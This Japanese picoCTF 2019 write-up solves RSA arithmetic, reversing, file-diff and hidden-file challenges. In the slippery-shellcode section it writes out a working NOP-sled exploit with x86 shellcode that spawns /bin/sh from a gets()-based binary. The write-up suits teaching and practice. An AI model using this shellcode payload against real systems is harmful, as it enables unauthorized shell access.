#### NEW PROBLEM #### plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 e : 3 n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 ##### PRODUCE THE FOLLOWING #### ciphertext IS THIS POSSIBLE and FEASIBLE? (Y/N):
これは n,e
と平文が与えられた状態で、暗号文が作れるか?という問題。
暗号文は c = pow(p, e, n)
で与えられるので可能。
import gmpy plaintext = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 c = pow(plaintext, e, n) print(c)
実行結果
256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
6問目
#### NEW PROBLEM #### ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 e : 3 n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 ##### PRODUCE THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):
暗号文と e, n
が与えられたとき、平文がわかるかという問題。こちらもnが素因数分解できれば求まりそうだが、feasibleではなさそうなので、とりあえず N で回答。
7問目
#### NEW PROBLEM #### q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e : 65537 ##### PRODUCE THE FOLLOWING #### d IS THIS POSSIBLE and FEASIBLE? (Y/N):
p,q,e
がわかっている状態で、d
が求まるのか?という問題。
d = inverse(e, (p-1)*(q-1))
なので求まるはず!
from Crypto.Util.number import inverse q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e = 65537 d = inverse(e, (p-1)*(q-1)) print(d)
実行結果
1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
8問目
#### NEW PROBLEM #### p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext : 11414354166074402755164590556641179510390955987180616313598814488860571850569627408904290135283428920666717612247935936889741174861740224415910111160498656256896678079471373793134970331695671979818719947249086183419374170380011838377712137156655353333603309532154429629316613952073734543526935095731152872812955954824132637944535153824014078120443101933069681669256602347092095050923741698741934906694415931234676691035622479817210233347697548820214251179785631792488566945306938417118918268033241877748155382065658575003275681795893749615704427227208993357057762628133230351866198772974377028377937056546764806501336 e : 65537 n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 ##### PRODUCE THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):
暗号文、p,e,n
がわかった状態で、平文が求まるか?という問題。
q = n // p d = inverse(e, (p-1)*(q-1)) plaintext = pow(c, d, n)
なので、n, e, d
から鍵の再構築ができます。
from Crypto.Util.number import inverse p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext = 11414354166074402755164590556641179510390955987180616313598814488860571850569627408904290135283428920666717612247935936889741174861740224415910111160498656256896678079471373793134970331695671979818719947249086183419374170380011838377712137156655353333603309532154429629316613952073734543526935095731152872812955954824132637944535153824014078120443101933069681669256602347092095050923741698741934906694415931234676691035622479817210233347697548820214251179785631792488566945306938417118918268033241877748155382065658575003275681795893749615704427227208993357057762628133230351866198772974377028377937056546764806501336 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 q = n // p d = inverse(e, (p-1)*(q-1)) plain = pow(ciphertext, d, n) print(plain)
実行結果
14311663942709674867122208214901970650496788151239520971623411712977119700648325685123965309
final
ここで、先程の問題を解くとこんな文章が。
If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
asciiに変換してみます。
import binascii plaintext = 14311663942709674867122208214901970650496788151239520971623411712977119700648325685123965309 flag = bytes.fromhex(hex(plaintext)[2:]).decode('ascii') print(flag)
実行結果
picoCTF{wA8_th4t$_ill3aGal..o4d21b3ca}
[Binary] slippery-shellcode (200pt)
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0 on the shell server. Source.
実行ファイルvuln
とソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 512 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf); puts("Thanks! Executing from a random location now..."); int offset = (rand() % 256) + 1; ((void (*)())(buf+offset))(); puts("Finishing Executing Shellcode. Exiting now..."); return 0; }
実行ファイルを実行してみるとこんな感じ。
# ./vuln Enter your shellcode: test_input Thanks! Executing from a random location now... Segmentation fault
handy-shellcodeとの違いは
int offset = (rand() % 256) + 1;
これが追加されていて、攻撃コードの前にどれだけ詰まれるかランダムになるところです。
タイトルとこの性質からして picoCTF2018 gps で使った nop slide
が使えそうです!
このwriteupにも書きましたが、作戦はこんな感じ。
- buffer に 攻撃用 shellcode を仕込む
- 上記のshellcodeは、攻撃コマンドの前を nop で埋めておき、 nop コマンドのどこかに着弾すれば攻撃コードが実行されるようにする
- 手堅い開始アドレスを計算して入力
面白かったので印象に残っていました。
今回はnopは\x90
なので、これを 512-1-len(shellcode)
個入れてあげて、その後ろに handy-shellcode で通ったshellcodeをくっつけて送ります。
$ (echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln Enter your shellcode: ������������������������������������������ ...(略) Thanks! Executing from a random location now... cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
[Reversing] vault-door-3 (200pt)
This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java
javaコードが配布されます。
import java.util.*; class VaultDoor3 { public static void main(String args[]) { VaultDoor3 vaultDoor = new VaultDoor3(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Our security monitoring team has noticed some intrusions on some of the // less secure doors. Dr. Evil has asked me specifically to build a stronger // vault door to protect his Doomsday plans. I just *know* this door will // keep all of those nosy agents out of our business. Mwa ha! // // -Minion #2671 public boolean checkPassword(String password) { if (password.length() != 32) { return false; } char[] buffer = new char[32]; int i; for (i=0; i<8; i++) { buffer[i] = password.charAt(i); } for (; i<16; i++) { buffer[i] = password.charAt(23-i); } for (; i<32; i+=2) { buffer[i] = password.charAt(46-i); } for (i=31; i>=17; i-=2) { buffer[i] = password.charAt(i); } String s = new String(buffer); return s.equals("jU5t_a_sna_3lpm17ga45_u_4_mbrf4c"); } }
これもcheckPassword
の処理を追えば良さそうです。逆変換のスクリプトを用意します。
#!/usr/bin/env python3 buffer = "jU5t_a_sna_3lpm17ga45_u_4_mbrf4c" password = [0] * len(buffer) for i in range(0, 8): password[i] = buffer[i] for i in range(8, 16): password[i] = buffer[23-i] for i in range(16, 32, 2): password[i] = buffer[46-i] for i in range(31, 16, -2): password[i] = buffer[i] print('picoCTF{' + ''.join(password) + '}')
実行結果
$ python solve.py picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_5baf7c}
[General] whats-the-difference (200pt)
Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server
kitters.jpg
と cattos.jpg
という画像ファイルが配布されます。
今までの出題傾向からすると、diff
コマンドを使うのかな?と思いましたが、今回の対象はバイナリです。バイナリファイルのdiffを求めるのはcmp
コマンドでできます。differenceの内容を表示するには -l
オプションを付けると、
行番号(10進数), 値1(8進数), 値2(8進数)
を表示してくれるので、やってみます。
$ cmp -l kitters.jpg cattos.jpg 49734 231 160 49735 235 151 49736 230 143 49737 310 157 87663 12 103 162650 364 124 175231 153 106 175232 261 173 211986 230 164 211987 222 150 211988 15 63 211989 330 171 284427 122 162 292340 174 63 292341 371 137 331830 216 141 331831 365 65 426632 346 137 439903 360 144 515770 112 61 515771 252 146 583608 341 146 640996 310 63 688795 77 162 688796 107 63 702943 23 156 751424 243 164 754731 61 137 754732 113 64 754733 274 163 754734 304 137 796226 43 142 871159 256 165 871160 6 67 871161 316 67 871162 346 63 927506 347 162 927507 212 137 927508 122 64 994666 376 156 994667 43 144 994668 377 137 1068577 234 152 1068578 344 63 1068579 203 61 1068580 222 61 1068581 162 171 1101444 5 137 1101445 173 141 1101446 7 163 1101447 300 154 1171017 53 153 1171018 147 152 1171019 356 146 1241182 51 144 1241183 224 163 1241184 200 141 1241185 106 154 1272572 217 153 1272573 156 146 1337150 4 163 1410459 345 154 1410460 340 153 1460208 5 146 1510914 237 154 1567157 322 153 1567158 100 152 1567159 42 144 1567160 220 163 1567161 205 146 1581925 315 144 1581926 244 163 1581927 215 172 1581928 147 155 1581929 257 172 1677065 176 61 1677066 341 60 1764510 357 65 1764511 210 64 1764512 31 70 1766742 13 175
でました。結構たくさん違いがあるみたいです。81文字。flagでもおかしくない長さ。ここで最終行に着目してみると、cattos
の値のほうが175
。8進の175は16進で0x7d
、asciiにすると}
です!フラグっぽい!ということで、cattosのdiffのあった箇所の値を抜き出してasciiに変換します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii cattos_oct = "160 151 143 157 103 124 106 173 164 150 63 171 162 63 137 141 65 137 144 61 146 146 63 162 63 156 164 137 64 163 137 142 165 67 67 63 162 137 64 156 144 137 152 63 61 61 171 137 141 163 154 153 152 146 144 163 141 154 153 146 163 154 153 146 154 153 152 144 163 146 144 163 172 155 172 61 60 65 64 70 175" flag = '' for s in cattos_oct.split(): flag += chr(int(s, 8)) print(flag)
実行結果
picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}
[General] where-is-the-file (200pt)
I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_0_cc140a3ba634658b98122a1954c1316a.
picoCTFのshell server上で、指定のディレクトリに行ってみます。
$ ls
何もありません。隠しファイルかな。ということで隠しファイルも出力するオプション-a
を付けると出てきました。
$ ls -a . .. .cant_see_me $ cat .cant_see_me picoCTF{w3ll_that_d1dnt_w0RK_b2dab472}